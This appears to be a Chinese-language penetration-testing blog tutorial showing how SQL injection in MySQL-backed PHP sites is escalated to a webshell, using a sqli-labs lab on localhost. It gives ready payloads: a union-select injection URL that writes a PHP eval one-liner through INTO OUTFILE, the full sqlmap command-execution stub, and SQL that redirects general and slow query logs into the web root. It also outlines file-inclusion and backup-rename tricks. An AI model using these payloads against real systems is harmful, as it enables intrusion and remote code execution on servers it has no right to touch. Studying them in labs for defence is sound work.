渗透测试之利用sql拿shell(附完整流程)【全】

📅 2026/7/18 10:33:31
渗透测试之利用sql拿shell(附完整流程)【全】
导读时刻保持谦逊始终保持学习探寻事物的本质不要把事情复杂化目录前言流程通过into outfile进行文件写入利用sqlmap利用日志getshell利用文件包含漏洞getshell利用数据库备份getshell前言为什么SQL注入能拿ShellSQL注入的本质是通过恶意SQL语句操控数据库而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马即可通过中国菜刀/蚁剑连接获取Shell。流程寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell一、通过into outfile进行文件写入利用条件拥有网站的写入权限知道网站的绝对路径Secure_file_priv参数为空或可写目录在mysql/my.ini中查看注Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。secure_file_priv的值为null 表示限制mysqld 不允许导入|导出当secure_file_priv的值为/tmp/ 表示限制mysqld 的导入|导出只能发生在/tmp/目录下当secure_file_priv的值没有具体值时表示不对mysqld 的导入|导出做限制实际操作1查看secure-file-priv参数的值show global variables like %secure%;2修改secure_file_priv 的值windows下修改my.ini 在[mysqld]内加入secure_file_priv linux下修改my.cnf 在[mysqld]内加入secure_file_priv 在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数没有的话加上secure_file_priv 即可再查看secure_file_priv的值如下已经变为空了 。3写入shell以sqli-labs第七关为例1、判断注入点通过输入?id3)) and sleep(3) --时成功延时发现存在注入点就为3))2、判断列数通过order by 3 回显正常、order by 4报错判断为3列3、写入shellhttp://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id-3)) union select 1,?php eval($_POST[test]); ?,3 into outfile C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php --4. 连接webshell使用蚁剑连接成功二、利用sqlmap利用条件拥有网站的写入权限能够使用单引号知道网站的绝对路径Secure_file_priv参数为空或可写目录在mysql/my.ini中查看实际操作 以sqli-labs第一关为例sqlmap.py -u http://xxx?id1 --sql-shell //进入命令行1查看文件路径select datadir; //mysql/data的路径根目录一般与mysql处于同一目录2查看secure_file_priv 参数值select secure_file_priv //若为空则什么都不显示若为NULL则显示NULL3写入shell1、--os-shell通过udf提权写入shell也是通过into oufile向服务器写入两个文件一个可以直接执行系统命令一个进行上传文件2、选择语言3、填写文件路径sqlmap在指定的目录生成了两个文件文件名是随机的并不是固定的tmpbuwzg.php用来执行系统命令tmpunynt.php用来上传文件tmpbuwzg.php文件内容为?php $c$_REQUEST[cmd];set_time_limit(0);ignore_user_abort(1);ini_set(max_execution_time,0);$zini_get(disable_functions);if(!empty($z)){$zpreg_replace(/[, ]/,,,$z);$zexplode(,,$z);$zarray_map(trim,$z);}else{$zarray();}$c$c. 21\n;function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(system)){ob_start();system($c);$wob_get_clean();}elseif(f(proc_open)){$yproc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$wNULL;while(!feof($t[1])){$w.fread($t[1],512);}proc_close($y);}elseif(f(shell_exec)){$wshell_exec($c);}elseif(f(passthru)){ob_start();passthru($c);$wob_get_clean();}elseif(f(popen)){$xpopen($c,r);$wNULL;if(is_resource($x)){while(!feof($x)){$w.fread($x,512);}}pclose($x);}elseif(f(exec)){$warray();exec($c,$w);$wjoin(chr(10),$w).chr(10);}else{$w0;}echopre$w/pre;?4、成功访问访问 tmpbuwzg.php并利用cmd执行命令访问tmpunynt.php上传文件正常上传木马连接即可。三、利用日志getshell利用条件拥有网站的写入权限知道网站的绝对路径数据库日志开启实际操作1查看数据库日志是否开启以及路径show variables like %general%;2开启日志功能修改general_log的值为ONset global general_log ON;修改文件路径注意路径用两次\\进行转义set global general_log_fileC:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\shell.php3写入shellselect ?php eval($_POST[test]);?;4成功连接shell四、利用慢查询getshell慢查询日志当查询语句执行的时间要超过系统默认的时间时,该语句会被记入慢查询日志。一般都是通过long_query_time选项来设置这个时间值时间以秒为单位可以精确到微秒。如果查询时间超过了这个时间值这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下利用条件拥有网站的写入权限知道网站的绝对路径数据库慢查询日志开启实际操作1查看日志状态show global variables like %long_query_time%;通常情况下执行sql语句时的执行时间一般不会超过10s所以说这个日志文件应该是比较小的而且默认也是禁用状态不容易引起管理员的察觉。2开启日志功能set global slow_query_log ON;填写文件路径set global slow_query_log_file C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW/shell1.php3在查询语句中写入一句话木马并延时10秒以上select ?php eval($_POST[test]);? or sleep(12);4成功连接shell五、利用文件包含漏洞getshell对于phpmyadmin来说有一种特殊的机制所有SQL的执行操作将存入session。所以如果目标站点存在文件包含漏洞我们可以通过包含session文件来拿shell。配合站点文件包含漏洞进行shell连接 即可六、利用数据库备份getshell网站对上传的文件后缀进行过滤如不允许上传脚本类型文件如asp/php/jsp/aspx等。而网站具有数据库备份功能这时我们就可以将webshell格式先改为允许上传的文件格式如jpg、gif等然后我们找到上传后的文件路径通过数据库备份文件备份为脚本格式。重点是路径找对防御方案通过本文可以发现SQL注入写入shell需要满足几个条件根据条件来进行对应防御措施即可具体请见下节。渗透测试之利用sql注入拿shell防御方案-CSDN博客文中如有错误还请各位大佬批评指正感激不尽